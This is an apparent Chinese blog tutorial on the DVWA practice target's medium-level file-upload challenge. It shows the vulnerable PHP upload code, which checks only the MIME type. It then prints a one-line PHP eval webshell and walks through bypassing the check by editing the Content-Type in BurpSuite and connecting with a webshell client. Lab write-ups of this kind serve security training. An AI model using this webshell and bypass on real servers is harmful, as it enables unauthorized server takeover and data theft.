DVWA靶机-File Upload(文件上传漏洞medium级别)
1、文件上传(File Upload)是大部分Web应用都具备的功能,例如用户上传附件、修改头像、分享图片/视频等
2、正常的文件一般是文档、图片、视频等,Web应用收集之后放入后台存储,需要的时候再调用出来返回
3、如果恶意文件如PHP、ASP等执行文件绕过Web应用,并顺利执行,则相当于黑客直接拿到了Webshell
4、一旦黑客拿到Webshell,则可以拿到Web应用的数据,删除Web文件,本地提权,进一步拿下整个服务器甚至内网
5、SQL注入攻击的对象是数据库服务,文件上传漏洞主要攻击Web服务,实际渗透两种相结合,达到对目标的深度控制
在中安全级别下,我们首先尝试一下上传正常的jpg文件
可以看到能成功上传
再来上传一个php文件看看
发现php文件上传失败了
我们再打开后端源码看一看
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>
if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000))
可以看到相比于low级别,medium级别新增了限制条件,只允许上传小于 100000 字节并且type类型是image/jpeg的文件。
这里的jpeg并不是文件的扩展名,是指文件的类型mime
那什么又是mime呢?
在向服务器发起请求的时候,请求的对象有很多种,例如图片、html代码、CSS样式表还有php程序等等很多种对象的类型,那我们请求完之后,对象传过来了我们应该用哪个应用程序去打开,进行查看等操作呢,这个时候就有一个叫做mime类型的东西
mime类型被定义在Content-Type header中,当type类型为image/jpeg时,就会用看图片的软件去打开,type类型为text/plain时,就会用文本类型的软件去打开等等
言归正传,因为源码中限制的是文件的上传类型,而不是文件的后缀名
所以思路就是上传一句话木马shell1.php — 通过BurpSuite抓包 — 更改type类型 — 转发上传
老样子,先写一个一句话木马shell1.php
<?php @eval($_POST['pass']);?>
设置火狐浏览器代理指向BurpSuite
然后打开BurpSuite开启拦截功能
返回页面,上传我们的shell1.php
可以看到BurpSuite成功拦截了下来
将他的type类型修改成image/jpeg,点击Forward进行转发
上传成功
打开菜刀,连接一下木马
老规矩尝试权限
OK,完事
来源:oschina
链接:https://my.oschina.net/u/4303276/blog/4372020